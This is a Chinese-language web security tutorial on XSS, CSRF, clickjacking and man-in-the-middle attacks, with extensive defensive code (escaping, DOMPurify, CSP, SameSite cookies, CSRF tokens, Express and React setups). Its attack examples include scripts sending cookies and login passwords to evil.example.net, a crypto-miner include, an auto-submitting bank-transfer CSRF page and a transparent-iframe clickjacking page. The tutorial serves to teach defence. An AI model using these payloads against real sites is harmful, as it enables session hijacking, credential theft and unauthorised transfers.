Web 安全深度剖析:XSS 与 CSRF 攻击及防御全解析
Web 安全是前端开发的重中之重,XSS 和 CSRF 是最常见的两大安全威胁。本文深入剖析 XSS 的三种攻击类型、CSRF 攻击原理、点击劫持、中间人攻击等,并提供 CSP、SameSite、DOMPurify 等完整防御方案。
前言
在 Web 开发中,安全漏洞可能导致用户数据泄露、身份被盗、财产损失等严重后果。根据 OWASP(Open Web Application Security Project)的统计,XSS(跨站脚本攻击) 和 CSRF(跨站请求伪造) 长期位居十大 Web 安全威胁前列。
本文将深入剖析:
- XSS 攻击:反射型、存储型、DOM 型三种类型及防御策略
- CSRF 攻击:原理、攻击流程与防御方案
- 点击劫持:iframe 嵌套攻击与防御
- 中间人攻击:HTTPS 劫持与防御
- 防御技术:CSP、SameSite、DOMPurify、CORS 等实战应用
一、XSS 攻击:跨站脚本攻击
什么是 XSS?
XSS(Cross-Site Scripting) 是一种代码注入攻击,攻击者通过在网页中注入恶意脚本,使其在用户浏览器中执行,从而窃取用户信息、劫持会话、篡改页面等。
核心原理:
用户输入 → 未经过滤/转义 → 直接插入 DOM → 恶意代码执行
XSS 的三种类型
1. 反射型 XSS(Reflected XSS)
特点:恶意脚本通过 URL 参数传递,服务器将其反射回响应页面。
攻击流程:
攻击者构造恶意 URL
↓
诱导用户点击链接
↓
服务器接收参数并反射到页面
↓
恶意脚本在用户浏览器执行
代码示例:
<!-- 漏洞代码:搜索页面 -->
<div>
<h1>搜索结果:<?php echo $_GET['query']; ?></h1>
</div>
<!-- 攻击者构造的 URL -->
https://yoursite.example.com/search?query=<script>alert('XSS')</script>
<!-- 服务器返回的 HTML -->
<div>
<h1>搜索结果:<script>alert('XSS')</script></h1>
</div>
实际攻击场景:
// 攻击者构造的恶意 URL(窃取 Cookie)
https://yoursite.example.com/search?query=<script>
new Image().src = 'http://evil.example.net/steal?cookie=' + document.cookie;
</script>
// 短链接伪装
https://shorturl.example/abc123 // 实际指向上述恶意 URL
防御方案:
// ✅ 正确:对用户输入进行 HTML 转义
function escapeHtml(text) {
const map = {
'&': '&',
'<': '<',
'>': '>',
'"': '"',
"'": '''
};
return text.replace(/[&<>"']/g, m => map[m]);
}
// 使用示例
const query = escapeHtml(req.query.query);
res.send(`<h1>搜索结果:${query}</h1>`);
2. 存储型 XSS(Stored XSS)
特点:恶意脚本被永久存储在目标服务器(数据库、文件系统等),每次访问都会触发攻击。
攻击流程:
攻击者提交恶意数据到服务器
↓
数据存储到数据库
↓
其他用户访问包含恶意数据的页面
↓
恶意脚本执行
代码示例:
<!-- 漏洞代码:评论系统 -->
<div class="comments">
<?php foreach ($comments as $comment): ?>
<div class="comment">
<?php echo $comment['content']; ?>
</div>
<?php endforeach; ?>
</div>
<!-- 攻击者提交的评论 -->
<script>
// 窃取所有访问该页面用户的 Cookie
fetch('http://evil.example.net/steal', {
method: 'POST',
body: JSON.stringify({
cookie: document.cookie,
url: location.href
})
});
</script>
实际攻击案例:
// 案例1:论坛帖子植入恶意脚本
<script>
// 监听表单提交,窃取用户密码
document.querySelector('form').addEventListener('submit', (e) => {
const data = new FormData(e.target);
fetch('http://evil.example.net/steal', {
method: 'POST',
body: JSON.stringify({
username: data.get('username'),
password: data.get('password')
})
});
});
</script>
// 案例2:电商网站商品描述注入挖矿脚本
<script src="https://evil.example.net/crypto-miner.js"></script>
防御方案:
// ✅ 使用 DOMPurify 库进行 HTML 过滤
import DOMPurify from 'dompurify';
// 允许安全的 HTML 标签,过滤危险内容
const cleanComment = DOMPurify.sanitize(userComment, {
ALLOWED_TAGS: ['p', 'b', 'i', 'em', 'strong', 'a'],
ALLOWED_ATTR: ['href']
});
// 输出到页面
document.getElementById('comments').innerHTML = cleanComment;
3. DOM 型 XSS(DOM-based XSS)
特点:攻击完全在浏览器端进行,不经过服务器,通过修改 DOM 环境执行恶意脚本。
攻击流程:
攻击者构造恶意 URL
↓
用户访问页面,JavaScript 读取 URL 参数
↓
参数直接插入 DOM
↓
恶意脚本执行
代码示例:
// ❌ 漏洞代码:直接使用 location.hash
const hash = location.hash.slice(1); // 获取 # 后面的内容
document.getElementById('content').innerHTML = hash;
// 攻击者构造的 URL
https://yoursite.example.com/#<img src=x onerror="alert('XSS')">
// 浏览器执行的代码
document.getElementById('content').innerHTML = '<img src=x onerror="alert(\'XSS\')">';
更多漏洞场景:
// ❌ 场景1:使用 document.write
document.write('<div>' + location.search.split('=')[1] + '</div>');
// ❌ 场景2:使用 eval 执行用户输入
const code = new URLSearchParams(location.search).get('code');
eval(code);
// ❌ 场景3:jQuery 的 html() 方法
$('#content').html(location.hash.slice(1));
// ❌ 场景4:动态创建脚本
const script = document.createElement('script');
script.src = userInput;
document.body.appendChild(script);
防御方案:
// ✅ 正确:使用 textContent 而非 innerHTML
const hash = location.hash.slice(1);
document.getElementById('content').textContent = hash;
// ✅ 正确:使用 URL 编码
const params = new URLSearchParams(location.search);
const value = encodeURIComponent(params.get('query'));
// ✅ 正确:使用 DOMPurify
import DOMPurify from 'dompurify';
const clean = DOMPurify.sanitize(userInput);
document.getElementById('content').innerHTML = clean;
XSS 三种类型对比
| 特性 | 反射型 XSS | 存储型 XSS | DOM 型 XSS |
|---|---|---|---|
| 存储位置 | URL 参数 | 数据库/服务器 | DOM 环境 |
| 持久性 | 非持久 | 持久 | 非持久 |
| 攻击范围 | 需诱导点击链接 | 所有访问用户 | 需诱导点击链接 |
| 危害程度 | 中等 | 高 | 中等 |
| 检测难度 | 容易 | 容易 | 困难(不经过服务器) |
| 常见场景 | 搜索、错误页面 | 评论、论坛、博客 | 单页应用、URL 路由 |
二、CSRF 攻击:跨站请求伪造
什么是 CSRF?
CSRF(Cross-Site Request Forgery) 是一种挟制用户在已登录的 Web 应用上执行非预期操作的攻击方式。
核心原理:
用户已登录目标网站 → 访问恶意网站 → 恶意网站发起跨站请求 → 目标网站误认为是用户操作
CSRF 攻击流程
1. 用户登录 mybank.example,获取 Cookie
↓
2. 用户访问 evil.example.net(恶意网站)
↓
3. evil.example.net 页面包含自动提交的表单
↓
4. 表单向 mybank.example 发起转账请求
↓
5. 浏览器自动携带 mybank.example 的 Cookie
↓
6. mybank.example 误以为是用户操作,执行转账
CSRF 攻击示例
漏洞代码:
<!-- mybank.example 转账接口(存在 CSRF 漏洞) -->
<form action="/transfer" method="POST">
<input type="hidden" name="to" value="attacker">
<input type="hidden" name="amount" value="10000">
<button type="submit">转账</button>
</form>
攻击者构造的恶意页面:
<!-- evil.example.net 恶意页面 -->
<!DOCTYPE html>
<html>
<head>
<title>恭喜您中奖了!</title>
</head>
<body>
<h1>恭喜您获得 iPhone 15!</h1>
<p>请点击下方按钮领取</p>
<!-- 隐藏表单,自动提交 -->
<form action="https://mybank.example/transfer" method="POST" id="csrf-form" style="display:none">
<input type="hidden" name="to" value="attacker-account">
<input type="hidden" name="amount" value="10000">
</form>
<button onclick="document.getElementById('csrf-form').submit()">领取奖品</button>
<!-- 或者页面加载时自动提交 -->
<script>
window.onload = function() {
document.getElementById('csrf-form').submit();
};
</script>
</body>
</html>
更复杂的攻击场景:
<!-- 使用图片发起 GET 请求的 CSRF -->
<img src="https://mybank.example/transfer?to=attacker&amount=10000" style="display:none">
<!-- 使用链接发起攻击 -->
<a href="https://mybank.example/transfer?to=attacker&amount=10000">点击领取奖品</a>
<!-- 使用 AJAX 发起跨站请求(需要目标网站配置不当) -->
<script>
fetch('https://mybank.example/api/transfer', {
method: 'POST',
credentials: 'include', // 携带 Cookie
body: JSON.stringify({
to: 'attacker-account',
amount: 10000
})
});
</script>
CSRF 防御方案
1. CSRF Token
原理:服务器生成随机 Token,嵌入表单,提交时验证。
// ✅ 服务器端生成 CSRF Token(Express 示例)
const crypto = require('crypto');
// 生成 CSRF Token
function generateCSRFToken() {
return crypto.randomBytes(32).toString('hex');
}
// 中间件:设置 CSRF Token
app.use((req, res, next) => {
if (!req.session.csrfToken) {
req.session.csrfToken = generateCSRFToken();
}
res.locals.csrfToken = req.session.csrfToken;
next();
});
// 转账接口:验证 CSRF Token
app.post('/transfer', (req, res) => {
const { csrfToken, to, amount } = req.body;
// 验证 Token
if (csrfToken !== req.session.csrfToken) {
return res.status(403).json({ error: 'CSRF Token 验证失败' });
}
// 执行转账逻辑
// ...
res.json({ success: true });
});
<!-- 前端表单包含 CSRF Token -->
<form action="/transfer" method="POST">
<input type="hidden" name="csrfToken" value="<%= csrfToken %>">
<input type="text" name="to" placeholder="收款人">
<input type="number" name="amount" placeholder="金额">
<button type="submit">转账</button>
</form>
// AJAX 请求携带 CSRF Token
fetch('/transfer', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'X-CSRF-Token': csrfToken
},
body: JSON.stringify({ to, amount })
});
2. SameSite Cookie 属性
原理:设置 Cookie 的 SameSite 属性,限制跨站请求携带 Cookie。
// ✅ 服务器设置 SameSite 属性
app.use(session({
secret: 'your-secret-key',
cookie: {
httpOnly: true,
secure: true, // 仅 HTTPS
sameSite: 'strict' // 或 'lax'
}
}));
SameSite 属性值对比:
| 属性值 | 说明 | 跨站请求携带 Cookie | 适用场景 |
|---|---|---|---|
| Strict | 严格模式 | 完全禁止 | 高安全性场景(银行、支付) |
| Lax | 宽松模式 | 允许顶级导航的 GET 请求 | 大多数网站 |
| None | 无限制 | 允许所有跨站请求 | 需要跨站嵌入的场景(需配合 Secure) |
实际应用:
// ✅ 推荐配置
app.use(session({
cookie: {
sameSite: process.env.NODE_ENV === 'production' ? 'strict' : 'lax',
secure: process.env.NODE_ENV === 'production'
}
}));
// 如果需要跨站嵌入(如 iframe),使用 None + Secure
app.use(session({
cookie: {
sameSite: 'none',
secure: true // SameSite=None 必须配合 Secure
}
}));
3. 验证 Referer 和 Origin 头
// ✅ 服务器验证请求来源
app.post('/transfer', (req, res) => {
const referer = req.get('Referer');
const origin = req.get('Origin');
// 白名单验证
const allowedOrigins = ['https://mybank.example', 'https://www.mybank.example'];
if (origin && !allowedOrigins.includes(origin)) {
return res.status(403).json({ error: '非法请求来源' });
}
if (referer && !allowedOrigins.some(allowed => referer.startsWith(allowed))) {
return res.status(403).json({ error: '非法请求来源' });
}
// 执行业务逻辑
// ...
});
4. 双重 Cookie 验证
// ✅ 双重 Cookie 验证方案
// 原理:攻击者无法获取目标网站的 Cookie 内容
// 1. 服务器在 Cookie 中设置 CSRF Token
app.get('/api/csrf-token', (req, res) => {
const csrfToken = generateCSRFToken();
res.cookie('csrfToken', csrfToken, { httpOnly: false }); // 前端需要读取
res.json({ csrfToken });
});
// 2. 前端从 Cookie 读取 Token,添加到请求头
function getCookie(name) {
const value = `; ${document.cookie}`;
const parts = value.split(`; ${name}=`);
if (parts.length === 2) return parts.pop().split(';').shift();
}
fetch('/api/transfer', {
method: 'POST',
headers: {
'X-CSRF-Token': getCookie('csrfToken')
},
body: JSON.stringify(data)
});
// 3. 服务器验证请求头中的 Token 与 Cookie 中的 Token 是否一致
app.post('/api/transfer', (req, res) => {
const headerToken = req.get('X-CSRF-Token');
const cookieToken = req.cookies.csrfToken;
if (!headerToken || headerToken !== cookieToken) {
return res.status(403).json({ error: 'CSRF 验证失败' });
}
// 执行业务逻辑
// ...
});
三、点击劫持(Clickjacking)
什么是点击劫持?
点击劫持(Clickjacking) 是一种视觉欺骗攻击,攻击者将目标网站嵌入透明 iframe 中,诱导用户在不知情的情况下点击恶意按钮。
攻击原理
攻击者页面:
┌──────────────────────────────────┐
│ "点击领取 iPhone" 按钮 │
│ │
│ ┌───────────────────────────┐ │ ← 透明 iframe(opacity: 0)
│ │ 目标网站(mybank.example) │ │
│ │ [转账按钮] │ │
│ └───────────────────────────┘ │
│ │
│ 用户看到:"点击领取 iPhone" │
│ 实际点击:转账按钮 │
└──────────────────────────────────┘
点击劫持示例
<!-- evil.example.net 恶意页面 -->
<!DOCTYPE html>
<html>
<head>
<style>
.fake-button {
position: absolute;
top: 50px;
left: 50px;
width: 200px;
height: 50px;
background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
color: white;
border-radius: 25px;
font-size: 18px;
font-weight: bold;
text-align: center;
line-height: 50px;
z-index: 1;
}
.target-iframe {
position: absolute;
top: 0;
left: 0;
width: 100%;
height: 100%;
opacity: 0; /* 完全透明 */
z-index: 2;
}
</style>
</head>
<body>
<div class="fake-button">点击领取 iPhone</div>
<!-- 透明的目标网站 iframe -->
<iframe src="https://mybank.example/transfer" class="target-iframe"></iframe>
</body>
</html>
点击劫持防御方案
1. X-Frame-Options 响应头
// ✅ 服务器设置 X-Frame-Options 头
app.use((req, res, next) => {
res.setHeader('X-Frame-Options', 'DENY'); // 或 'SAMEORIGIN'
next();
});
X-Frame-Options 属性值:
| 属性值 | 说明 |
|---|---|
| DENY | 完全禁止嵌入 iframe |
| SAMEORIGIN | 仅允许同源页面嵌入 |
| ALLOW-FROM origin | 允许指定源嵌入(已废弃) |
2. CSP frame-ancestors 指令
// ✅ 使用 CSP 的 frame-ancestors 指令(推荐)
app.use((req, res, next) => {
res.setHeader(
'Content-Security-Policy',
"frame-ancestors 'self' https://trusted.example.com"
);
next();
});
3. JavaScript 检测方案(兜底)
// ✅ 前端检测是否被嵌入 iframe
if (window.top !== window.self) {
// 被嵌入 iframe,跳出
window.top.location = window.self.location;
}
// 或者使用 CSP 规则
if (window.frameElement) {
// 被嵌入 iframe
document.body.innerHTML = '<h1>此页面不允许被嵌入</h1>';
}
<!-- 使用 meta 标签设置 CSP(仅限某些浏览器) -->
<meta http-equiv="Content-Security-Policy" content="frame-ancestors 'self'">
四、中间人攻击(MITM)
什么是中间人攻击?
中间人攻击(Man-in-the-Middle Attack) 是攻击者在通信双方之间插入,窃听、篡改通信内容。
攻击流程
正常通信:
用户 ←──────────────→ 服务器
中间人攻击:
用户 ←─── 攻击者 ───→ 服务器
(窃听/篡改)
攻击场景
1. 公共 WiFi 窃听:
用户连接公共 WiFi(攻击者搭建的假热点)
↓
用户访问 http://mybank.example(未加密)
↓
攻击者窃听通信内容
↓
攻击者获取用户账号、密码、Cookie
2. DNS 劫持:
攻击者篡改 DNS 解析结果
↓
用户访问 mybank.example,解析到攻击者服务器 IP
↓
攻击者服务器冒充 mybank.example
↓
用户信息被窃取
3. HTTPS 降级攻击:
用户访问 https://mybank.example
↓
攻击者拦截请求,强制降级为 http://mybank.example
↓
用户数据明文传输
↓
攻击者窃听内容
中间人攻击防御方案
1. 强制使用 HTTPS
// ✅ 强制 HTTPS 重定向
app.use((req, res, next) => {
if (!req.secure && req.get('x-forwarded-proto') !== 'https') {
return res.redirect(`https://${req.get('host')}${req.url}`);
}
next();
});
// ✅ 使用 HSTS(HTTP Strict Transport Security)
app.use((req, res, next) => {
res.setHeader(
'Strict-Transport-Security',
'max-age=31536000; includeSubDomains; preload'
);
next();
});
2. 使用安全的 Cookie 配置
// ✅ 设置 Secure 和 HttpOnly 属性
app.use(session({
secret: 'your-secret-key',
cookie: {
secure: true, // 仅 HTTPS 传输
httpOnly: true, // 防止 JavaScript 读取 Cookie
sameSite: 'strict',
maxAge: 3600000 // 1 小时过期
}
}));
3. 证书校验
// ✅ 客户端证书校验(Node.js)
const https = require('https');
const fs = require('fs');
const options = {
hostname: 'api.yoursite.example',
port: 443,
path: '/data',
method: 'GET',
// 校验服务器证书
ca: fs.readFileSync('ca-cert.pem'),
// 启用证书校验
rejectUnauthorized: true
};
const req = https.request(options, (res) => {
// ...
});
4. CSP 防止混合内容
// ✅ CSP 阻止混合内容(HTTPS 页面加载 HTTP 资源)
app.use((req, res, next) => {
res.setHeader(
'Content-Security-Policy',
"upgrade-insecure-requests" // 自动升级 HTTP 为 HTTPS
);
next();
});
五、防御技术实战
1. Content Security Policy(CSP)
CSP 是一种强大的安全策略,用于限制资源加载来源,防止 XSS 和数据注入攻击。
CSP 指令详解
// ✅ 完整的 CSP 配置
app.use((req, res, next) => {
res.setHeader(
'Content-Security-Policy',
`
default-src 'self';
script-src 'self' https://cdn.yoursite.example 'nonce-${nonce}';
style-src 'self' 'unsafe-inline' https://fonts.googleapis.com;
img-src 'self' data: https:;
font-src 'self' https://fonts.gstatic.com;
connect-src 'self' https://api.yoursite.example;
frame-ancestors 'self';
form-action 'self';
base-uri 'self';
object-src 'none';
upgrade-insecure-requests;
`.replace(/\s{2,}/g, ' ').trim()
);
next();
});
CSP 指令说明
| 指令 | 说明 | 示例 |
|---|---|---|
| default-src | 默认资源加载策略 | 'self' |
| script-src | JavaScript 来源 | 'self' 'nonce-xxx' |
| style-src | CSS 来源 | 'self' 'unsafe-inline' |
| img-src | 图片来源 | 'self' data: https: |
| font-src | 字体来源 | 'self' https://fonts.gstatic.com |
| connect-src | AJAX/Fetch 连接来源 | 'self' https://api.yoursite.example |
| frame-ancestors | 嵌入来源 | 'self' |
| form-action | 表单提交目标 | 'self' |
| base-uri | <base> 标签来源 | 'self' |
| object-src | <object> <embed> 来源 | 'none' |
使用 Nonce 防止内联脚本
// ✅ 服务器生成 nonce
const crypto = require('crypto');
app.use((req, res, next) => {
// 为每个请求生成唯一的 nonce
res.locals.nonce = crypto.randomBytes(16).toString('base64');
res.setHeader(
'Content-Security-Policy',
`script-src 'self' 'nonce-${res.locals.nonce}'`
);
next();
});
// 在模板中使用 nonce
app.get('/', (req, res) => {
res.send(`
<!DOCTYPE html>
<html>
<head>
<script nonce="${res.locals.nonce}">
console.log('安全的内联脚本');
</script>
</head>
<body>
<h1>Hello World</h1>
</body>
</html>
`);
});
使用 Hash 防止内联脚本
// ✅ 使用脚本内容的 hash
// 计算 hash:sha256-<base64-hash>
const script = "console.log('Hello');";
const hash = crypto.createHash('sha256').update(script).digest('base64');
res.setHeader(
'Content-Security-Policy',
`script-src 'self' 'sha256-${hash}'`
);
// 前端脚本
res.send(`
<script>${script}</script>
`);
CSP 报告模式
// ✅ 先使用报告模式,不影响正常功能
app.use((req, res, next) => {
res.setHeader(
'Content-Security-Policy-Report-Only',
"default-src 'self'; report-uri /csp-report"
);
next();
});
// 接收 CSP 违规报告
app.post('/csp-report', (req, res) => {
console.log('CSP 违规报告:', req.body);
res.status(204).send();
});
2. DOMPurify:HTML 净化器
DOMPurify 是一个强大的 HTML 净化库,可过滤 XSS 攻击代码,保留安全的 HTML。
基本使用
// ✅ 安装:npm install dompurify
import DOMPurify from 'dompurify';
// 基本净化
const dirty = '<script>alert("XSS")</script><p>Hello World</p>';
const clean = DOMPurify.sanitize(dirty);
console.log(clean); // <p>Hello World</p>
// 允许特定标签
const clean2 = DOMPurify.sanitize(dirty, {
ALLOWED_TAGS: ['p', 'b', 'i', 'em', 'strong', 'a'],
ALLOWED_ATTR: ['href', 'title']
});
// 允许 data-* 属性
const clean3 = DOMPurify.sanitize(dirty, {
ALLOWED_TAGS: ['div', 'span'],
ALLOWED_ATTR: ['data-id', 'data-name']
});
高级配置
// ✅ 自定义钩子函数
DOMPurify.addHook('uponSanitizeElement', (node, data) => {
// 检查所有链接,移除 javascript: 协议
if (data.tagName === 'a') {
const href = node.getAttribute('href');
if (href && href.toLowerCase().startsWith('javascript:')) {
node.removeAttribute('href');
}
}
});
// 允许特定协议
const clean = DOMPurify.sanitize(dirty, {
ALLOWED_TAGS: ['a', 'img'],
ALLOWED_ATTR: ['href', 'src'],
ALLOWED_URI_REGEXP: /^(?:(?:(?:f|ht)tps?|mailto|tel|callto|sms):|[^a-z]|[a-z+.\-]+(?:[^a-z+.\-:]|$))/i
});
// 强制使用 HTTPS
DOMPurify.addHook('afterSanitizeAttributes', (node) => {
if (node.tagName === 'IMG') {
const src = node.getAttribute('src');
if (src && src.startsWith('http://')) {
node.setAttribute('src', src.replace('http://', 'https://'));
}
}
});
React 中使用 DOMPurify
// ✅ React 组件中使用 DOMPurify
import React from 'react';
import DOMPurify from 'dompurify';
function SafeHTML({ html }) {
const clean = DOMPurify.sanitize(html, {
ALLOWED_TAGS: ['p', 'b', 'i', 'em', 'strong', 'a', 'ul', 'ol', 'li'],
ALLOWED_ATTR: ['href', 'title']
});
return <div dangerouslySetInnerHTML={{ __html: clean }} />;
}
// 使用示例
function Comment({ comment }) {
return (
<div className="comment">
<SafeHTML html={comment.content} />
</div>
);
}
3. CORS 配置
CORS(Cross-Origin Resource Sharing) 是浏览器安全策略,控制跨域请求。
// ✅ 正确的 CORS 配置
const cors = require('cors');
// 允许特定源
const corsOptions = {
origin: ['https://yoursite.example.com', 'https://www.yoursite.example.com'],
methods: ['GET', 'POST', 'PUT', 'DELETE'],
allowedHeaders: ['Content-Type', 'Authorization'],
credentials: true, // 允许携带 Cookie
maxAge: 86400 // 预检请求缓存时间
};
app.use(cors(corsOptions));
// 或者动态验证 origin
app.use(cors({
origin: (origin, callback) => {
const allowedOrigins = ['https://yoursite.example.com', 'https://www.yoursite.example.com'];
// 允许无 origin 的请求(如移动应用、Postman)
if (!origin) return callback(null, true);
if (allowedOrigins.includes(origin)) {
callback(null, true);
} else {
callback(new Error('不允许的来源'));
}
},
credentials: true
}));
4. 安全相关的 HTTP 头
// ✅ 设置安全相关的 HTTP 响应头
app.use((req, res, next) => {
// 防止 MIME 类型嗅探
res.setHeader('X-Content-Type-Options', 'nosniff');
// 启用 XSS 过滤器(IE/Chrome)
res.setHeader('X-XSS-Protection', '1; mode=block');
// 禁止嵌入 iframe
res.setHeader('X-Frame-Options', 'DENY');
// HSTS:强制 HTTPS
res.setHeader(
'Strict-Transport-Security',
'max-age=31536000; includeSubDomains; preload'
);
// 禁用浏览器缓存敏感页面
res.setHeader('Cache-Control', 'no-store, no-cache, must-revalidate');
res.setHeader('Pragma', 'no-cache');
res.setHeader('Expires', '0');
// Referrer 策略
res.setHeader('Referrer-Policy', 'strict-origin-when-cross-origin');
// 权限策略
res.setHeader(
'Permissions-Policy',
'geolocation=(), microphone=(), camera=()'
);
next();
});
六、完整防御方案示例
Express 后端完整配置
const express = require('express');
const session = require('express-session');
const cookieParser = require('cookie-parser');
const cors = require('cors');
const helmet = require('helmet');
const crypto = require('crypto');
const DOMPurify = require('dompurify');
const app = express();
// ========== 1. 基础安全配置 ==========
// 使用 Helmet 设置安全相关的 HTTP 头
app.use(helmet());
// 解析请求体
app.use(express.json({ limit: '10kb' })); // 限制请求体大小
app.use(express.urlencoded({ extended: true, limit: '10kb' }));
// Cookie 解析
app.use(cookieParser());
// ========== 2. Session 配置 ==========
app.use(session({
secret: process.env.SESSION_SECRET || crypto.randomBytes(32).toString('hex'),
resave: false,
saveUninitialized: false,
cookie: {
httpOnly: true, // 防止 JavaScript 读取
secure: process.env.NODE_ENV === 'production', // 仅 HTTPS
sameSite: 'strict', // 防止 CSRF
maxAge: 3600000 // 1 小时过期
}
}));
// ========== 3. CSRF 防护 ==========
// 生成 CSRF Token
function generateCSRFToken() {
return crypto.randomBytes(32).toString('hex');
}
// CSRF Token 中间件
app.use((req, res, next) => {
if (!req.session.csrfToken) {
req.session.csrfToken = generateCSRFToken();
}
res.locals.csrfToken = req.session.csrfToken;
next();
});
// 验证 CSRF Token 的路由
function verifyCSRF(req, res, next) {
const token = req.body._csrf ||
req.get('X-CSRF-Token') ||
req.query._csrf;
if (!token || token !== req.session.csrfToken) {
return res.status(403).json({ error: 'CSRF Token 验证失败' });
}
next();
}
// ========== 4. CSP 配置 ==========
app.use((req, res, next) => {
const nonce = crypto.randomBytes(16).toString('base64');
res.locals.nonce = nonce;
res.setHeader(
'Content-Security-Policy',
`
default-src 'self';
script-src 'self' 'nonce-${nonce}' https://cdn.yoursite.example;
style-src 'self' 'unsafe-inline' https://fonts.googleapis.com;
img-src 'self' data: https:;
font-src 'self' https://fonts.gstatic.com;
connect-src 'self' https://api.yoursite.example;
frame-ancestors 'self';
form-action 'self';
base-uri 'self';
object-src 'none';
upgrade-insecure-requests;
`.replace(/\s{2,}/g, ' ').trim()
);
next();
});
// ========== 5. CORS 配置 ==========
app.use(cors({
origin: ['https://yoursite.example.com', 'https://www.yoursite.example.com'],
methods: ['GET', 'POST', 'PUT', 'DELETE'],
allowedHeaders: ['Content-Type', 'Authorization', 'X-CSRF-Token'],
credentials: true,
maxAge: 86400
}));
// ========== 6. 速率限制(防止暴力破解) ==========
const rateLimit = require('express-rate-limit');
const limiter = rateLimit({
windowMs: 15 * 60 * 1000, // 15 分钟
max: 100, // 每个 IP 最多 100 次请求
message: '请求过于频繁,请稍后再试'
});
app.use('/api/', limiter);
// 登录接口更严格的限制
const loginLimiter = rateLimit({
windowMs: 15 * 60 * 1000,
max: 5, // 每个 IP 最多 5 次登录尝试
message: '登录尝试过多,请稍后再试'
});
app.use('/api/login', loginLimiter);
// ========== 7. 路由示例 ==========
// 登录页面
app.get('/login', (req, res) => {
res.send(`
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>登录</title>
<script nonce="${res.locals.nonce}">
console.log('安全的内联脚本');
</script>
</head>
<body>
<form action="/api/login" method="POST">
<input type="hidden" name="_csrf" value="${res.locals.csrfToken}">
<input type="text" name="username" placeholder="用户名" required>
<input type="password" name="password" placeholder="密码" required>
<button type="submit">登录</button>
</form>
</body>
</html>
`);
});
// 登录接口
app.post('/api/login', verifyCSRF, (req, res) => {
const { username, password } = req.body;
// 验证用户名和密码
// ...
res.json({ success: true });
});
// 评论接口(存储型 XSS 防护)
app.post('/api/comment', verifyCSRF, (req, res) => {
const { content } = req.body;
// 使用 DOMPurify 净化内容
const cleanContent = DOMPurify.sanitize(content, {
ALLOWED_TAGS: ['p', 'b', 'i', 'em', 'strong', 'a'],
ALLOWED_ATTR: ['href']
});
// 保存到数据库
// db.saveComment(cleanContent);
res.json({ success: true, content: cleanContent });
});
// 搜索接口(反射型 XSS 防护)
app.get('/api/search', (req, res) => {
const { query } = req.query;
// 对用户输入进行转义
const escapeHtml = (text) => {
const map = {
'&': '&',
'<': '<',
'>': '>',
'"': '"',
"'": '''
};
return text.replace(/[&<>"']/g, m => map[m]);
};
const safeQuery = escapeHtml(query);
res.send(`<h1>搜索结果:${safeQuery}</h1>`);
});
// 启动服务器
const PORT = process.env.PORT || 3000;
app.listen(PORT, () => {
console.log(`服务器运行在 http://localhost:${PORT}`);
});
React 前端完整配置
import React, { useState, useEffect } from 'react';
import DOMPurify from 'dompurify';
// ========== 1. CSRF Token 管理 ==========
let csrfToken = null;
// 获取 CSRF Token
async function getCSRFToken() {
if (csrfToken) return csrfToken;
const response = await fetch('/api/csrf-token', {
credentials: 'include'
});
const data = await response.json();
csrfToken = data.csrfToken;
return csrfToken;
}
// ========== 2. 安全的 Fetch 封装 ==========
async function safeFetch(url, options = {}) {
const token = await getCSRFToken();
const defaultOptions = {
credentials: 'include', // 携带 Cookie
headers: {
'Content-Type': 'application/json',
'X-CSRF-Token': token,
...options.headers
}
};
const response = await fetch(url, { ...defaultOptions, ...options });
// 处理响应
if (!response.ok) {
throw new Error(`HTTP ${response.status}: ${response.statusText}`);
}
return response.json();
}
// ========== 3. 安全的 HTML 渲染组件 ==========
function SafeHTML({ html, allowedTags = ['p', 'b', 'i', 'em', 'strong', 'a'] }) {
const clean = DOMPurify.sanitize(html, {
ALLOWED_TAGS: allowedTags,
ALLOWED_ATTR: ['href', 'title']
});
return <div dangerouslySetInnerHTML={{ __html: clean }} />;
}
// ========== 4. 登录表单组件 ==========
function LoginForm() {
const [username, setUsername] = useState('');
const [password, setPassword] = useState('');
const [error, setError] = useState('');
const handleSubmit = async (e) => {
e.preventDefault();
setError('');
try {
const result = await safeFetch('/api/login', {
method: 'POST',
body: JSON.stringify({ username, password })
});
if (result.success) {
window.location.href = '/dashboard';
}
} catch (err) {
setError('登录失败:' + err.message);
}
};
return (
<form onSubmit={handleSubmit}>
<div>
<input
type="text"
value={username}
onChange={(e) => setUsername(e.target.value)}
placeholder="用户名"
required
maxLength={50}
/>
</div>
<div>
<input
type="password"
value={password}
onChange={(e) => setPassword(e.target.value)}
placeholder="密码"
required
maxLength={100}
/>
</div>
{error && <div className="error">{error}</div>}
<button type="submit">登录</button>
</form>
);
}
// ========== 5. 评论组件 ==========
function CommentList({ comments }) {
return (
<div className="comments">
{comments.map(comment => (
<div key={comment.id} className="comment">
<div className="author">{comment.author}</div>
<SafeHTML html={comment.content} />
</div>
))}
</div>
);
}
function CommentForm({ onSubmit }) {
const [content, setContent] = useState('');
const handleSubmit = async (e) => {
e.preventDefault();
// 净化内容
const cleanContent = DOMPurify.sanitize(content, {
ALLOWED_TAGS: ['p', 'b', 'i', 'em', 'strong', 'a'],
ALLOWED_ATTR: ['href']
});
try {
await safeFetch('/api/comment', {
method: 'POST',
body: JSON.stringify({ content: cleanContent })
});
setContent('');
onSubmit && onSubmit();
} catch (err) {
alert('提交失败:' + err.message);
}
};
return (
<form onSubmit={handleSubmit}>
<textarea
value={content}
onChange={(e) => setContent(e.target.value)}
placeholder="发表评论..."
required
maxLength={1000}
/>
<button type="submit">提交</button>
</form>
);
}
// ========== 6. 搜索组件 ==========
function SearchForm() {
const [query, setQuery] = useState('');
const [results, setResults] = useState([]);
const handleSearch = async (e) => {
e.preventDefault();
// 对查询参数进行编码
const encodedQuery = encodeURIComponent(query);
try {
const data = await safeFetch(`/api/search?query=${encodedQuery}`);
setResults(data.results || []);
} catch (err) {
alert('搜索失败:' + err.message);
}
};
return (
<div>
<form onSubmit={handleSearch}>
<input
type="text"
value={query}
onChange={(e) => setQuery(e.target.value)}
placeholder="搜索..."
required
maxLength={100}
/>
<button type="submit">搜索</button>
</form>
<div className="results">
{results.map((result, index) => (
<div key={index}>
{/* 使用 SafeHTML 渲染搜索结果 */}
<SafeHTML html={result.title} />
</div>
))}
</div>
</div>
);
}
export { LoginForm, CommentList, CommentForm, SearchForm, SafeHTML };
七、安全检测工具
1. 自动化扫描工具
# OWASP ZAP(开源安全扫描工具)
